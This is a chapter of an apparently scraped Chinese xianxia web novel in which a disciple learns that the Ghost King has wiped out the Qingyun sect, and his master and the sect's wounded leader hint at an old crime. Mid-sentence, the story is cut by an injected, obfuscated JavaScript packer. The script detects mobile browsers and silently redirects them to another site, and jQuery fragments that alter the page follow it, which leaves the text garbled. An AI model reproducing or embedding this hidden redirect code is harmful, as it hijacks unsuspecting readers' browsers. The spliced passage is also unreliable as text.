78. 应愿山(下)

作品:《该副本禁止违规通关

    引灵涧里不见天光,晏参每天除了打坐修炼便也做不了其他的事,修为倒是肉眼可见地涨了些,灵力运转比以前稳了不少,可心里的焦躁也跟着越来越重。


    其实他根本没有办法真正静下心来,无论是鬼王的踪迹还是那个不辞而别的身影,都让他焦急万分。不过好在他还可以在师弟给自己送东西的时候打探一下鬼王的行踪,只不过最近这段日子鬼王一直没有现身,就像是人间蒸发了一般,仙门各地也安稳了不少。


    这听起来像是好事,鬼王不再作乱,仙门重归平静,可晏参却隐隐觉得有些不对劲。


    鬼王过去如此张狂,杀起人来毫无顾忌,怎么可能突然就安分了?他总觉得鬼王这反常的安静并不是好事,反而像是暴风雨来临前的沉寂。


    这日是来送东西的是二师弟,跟往常不一样,当晏参问起鬼王的消息时,他显得神色有些慌张,眼神也躲闪起来。


    “当然还是一直没有出现了,哈哈……”他干笑两声,说道。


    晏参察觉到不对,语气郑重了几分:“是不是鬼王有消息了?”


    二师弟被他问得一哆嗦,连忙低下头,支支吾吾半天才憋出一句话:“大、大师兄你别生气,我不是故意不告诉你的,是师父不让我们说,怕你急着出去……”


    “他又出现了?”晏参打断他,眉头拧得更紧,“这次他去了哪个门派?可有伤亡?”


    被晏参这么一问,二师弟再也瞒不住。他抬起头,脸色惨白,声音都带着哭腔:“三日前他突然闯去了青云宗,一夜之间就把青云宗给灭了,就剩下宗主带着十几个弟子逃了出来……青云宗也被他放了一把火也烧了。”


    晏参浑身一震,猛地站起身,难以置信地看着二师弟:“你说什么?是青云宗?青云宗被灭了?”


    “是。”二师弟用力点头,眼眶通红,“我听幸存的青云宗弟子们说,那天几万个腐烂发青的走尸突然攻上山门,它们见人就杀,被沾上一点就会染上阴气痛苦万分,而那些走尸却杀也杀不死,更可怕的是那些被染上阴气的弟子也都变成了走尸开始反过来攻击自己人,而那鬼王一身黑衣,就站在不远处冷笑着看着这一切……那场战斗极为惨烈,仅有十几名弟子幸存,青云宗宗主已经带着人投奔我们应愿山了,现在就在客房住着,师父不让我们声张。”


    晏参听着二师弟的话指尖死死攥紧,指节泛白,眼底满是震惊和怒火。青云宗和应愿山向来交好,平日里往来密切,没想到竟落得这般下场。


    二师弟看着他的样子害怕得往后缩了缩,又忍不住小声问道:“大师兄,你说……鬼王会不会接下来就来我们应愿山啊?我听说青云宗的护山大阵也很厉害,还是被他轻易破了,我们……我们会不会也挡不住?”他越说越害怕,脸色白得像纸,双手紧紧攥在一起,眼神里满是惶恐。


    晏参深吸一口气,他强迫自己冷静下来,语气尽量沉稳,眼神也带着几分安抚:“别慌,也别胡思乱想。”他顿了顿,看着二师弟慌乱的神色又补充道:“应愿山地势跟青云宗不一样,易守难攻,护山大阵也比他们的厉害得多,而且师父还在,师父的修为你又不是不知道,有他在,鬼王轻易闯不进来。”


    “可是……”二师弟还是不安,咬着嘴唇,“我还是怕,那鬼王太厉害了……”


    “没什么好怕的,”晏参打断他,语气坚定,眼底也没了之前的焦躁,多了几分沉稳,“应愿山弟子也不是吃素的,就算鬼王真的来了,有咱们一起守着。”说到这里,晏参顿了顿,补充道:“你回去以后不要乱传消息,免得引起其他弟子的恐慌,好好跟着师父修炼,做好防备就好。”


    二师弟听着他的话心里稍稍安定了一些,点了点头,又看了晏参一眼,小声说:“那大师兄我先回去了,下次给你带些你爱吃的糕点。”


    “嗯,”晏参颔首,看着他的背影语气又软了些,“路上小心点。”


    石门再次关上,引灵涧里又恢复了寂静,可晏参的心却再也无法平静。


    他来回踱步,眉头紧紧拧着,眼底满是沉思,手指无意识地摩挲着腰间的木剑。


    鬼王沉寂了这么久,一出手就灭了青云宗,这绝对不是巧合。他隐隐觉得鬼王的杀戮是有目标的,或许是冲着某个东西来的,又或许是冲着仙门的某个势力,可他一时之间又想不明白这规律到底是什么。


    晏参停下脚步,望向紧闭的石门,鬼王已经再次出手,仙门肯定又要陷入动荡,他不能再困在这里浪费时间,更不能坐以待毙。


    之前师父不同意他去追寻鬼王是怕他遇到危险,可现在情况不一样了,鬼王已经主动挑衅,他必须出去追查鬼王的踪迹,不然只会有更多的宗门被灭,更多的人死去,就连应愿山也不是绝对的安全。


    思虑再三,晏参握紧了拳头,心里已经有了决定。


    应愿山掌门正站在殿中,指尖捏着一枚泛着微光的传讯玉牌,神识刚扫完晏参传来的讯息,脸色便瞬间沉了下来,周身的气息也冷了几分。


    玉牌上的字迹清晰可见,是晏参传来的。


    【师父,青云宗惨状我已知晓,鬼王一日不除,仙门便一日不得安宁。请您放我出引灵涧,我会谨慎行事,追查鬼王踪迹,绝不给师门添麻烦。若您不允,我便自行想办法出去,哪怕受罚,也不能坐视更多宗门受害。】


    掌门指尖微微用力,指节泛白,玉牌在他掌心微微震颤,他沉默了许久,眼底闪过一丝复杂。片刻后,他缓缓抬手,将传讯玉牌收入袖中,重重地叹了口气。


    “你也别太忧心了,晏参师侄心思缜密,不会冲动的。”一旁的青云宗宗主轻声开口,只见他身上还盖着厚厚的锦缎,肩头和胸口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231906|187670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的伤口依旧渗着淡淡的血迹,脸色苍白得近乎透明,说话时气息都有些不稳,眉宇间却满是化不开的恨意与疲惫。


    他刚被弟子扶着坐起身,身上的伤口牵扯着,疼得他眉头紧紧蹙起,下意识地抬手按了按胸口。


    应愿山掌门转过身,看向青云宗宗主,语气凝重:“你也知道,我这徒弟打小就这般执拗,认定的事十头牛都拉不回来。他现在得知鬼王出世,心里肯定急得像火烧,就算我不同意他也未必会乖乖待在引灵涧。”


    青云宗宗主苦笑一声,缓缓摇了摇头,声音沙哑得厉害:“换做是我,我也坐不住。晏参师侄正直果敢,又有一身好修为,是仙门难得的好苗子。只是那鬼王太过阴毒,手段狠辣,他这次出手明显是有备而来,太危险了。”


    “危险也没办法……”应愿山掌门走到窗边,望着外面沉沉天色,语气凝重:“我们都清楚,那一位根本不是随意杀戮。他沉寂这么久,一出手就是你青云宗,不是巧合。”


    青云宗宗主眼神一暗,指尖攥紧:“我知道……当年的事,一个也躲不过。”


    “当年参与那件事的宗门,如今一个接一个被灭。”掌门声音压得很低,“你我心里都清楚,他是谁,他在恨什么。”


    青云宗宗主闭上眼,痛苦地吸了口气:“可你应愿山当年从头到尾都没有参与,按理说,他不该找上你们。只是我实在是走投无路了,我这把老骨头不算什么,我那些弟子实在无辜,那鬼王小儿根本不讲道理,我说有什么事冲我来,我才是当年那件事的参与者,和我那些弟子又有何干,可他根本就不听,非要赶尽杀绝。”


    说道这里,青云宗宗主痛苦地闭上了眼睛,而后继续说道:“我不该躲在你这里,我怕会害了你们啊。”


    “话不是这么说。”掌门转过身,眼神坚定,“他现在已经疯了,若是任由他这样杀下去,整个仙门都会被他搅得天翻地覆,到最后只会有更多无辜的人死去。这是整个仙门的劫,我应愿山修习道法本就是为了除祟安良,护一方安宁,如今仙门动荡,我怎么能只顾着自保,眼睁睁看着悲剧一次次发生?”


    青云宗宗主抬头看他,眼中多了一丝动容,也多了一丝愧疚:“是我狭隘了,多谢掌门愿意出手相助,只是这样一来,你们应愿山也会被卷入这场纷争,甚至可能引来鬼王的报复。”


    “我早已想清楚了。”应愿山掌门看向窗外,神色凝重。


    “你安心在应愿山养伤,我会安排弟子好好照料你和幸存的青云宗弟子,就算他真的来了这里,我也有信心让没法走出应愿山。”


    窗外风动,树叶沙沙作响。


    殿内的气氛再次陷入沉寂,只有两人略显沉重的呼吸声,夹杂着窗外偶尔传来的风声,显得格外压抑。


    一场藏了许多年的旧怨与杀戮,才刚刚真正开始。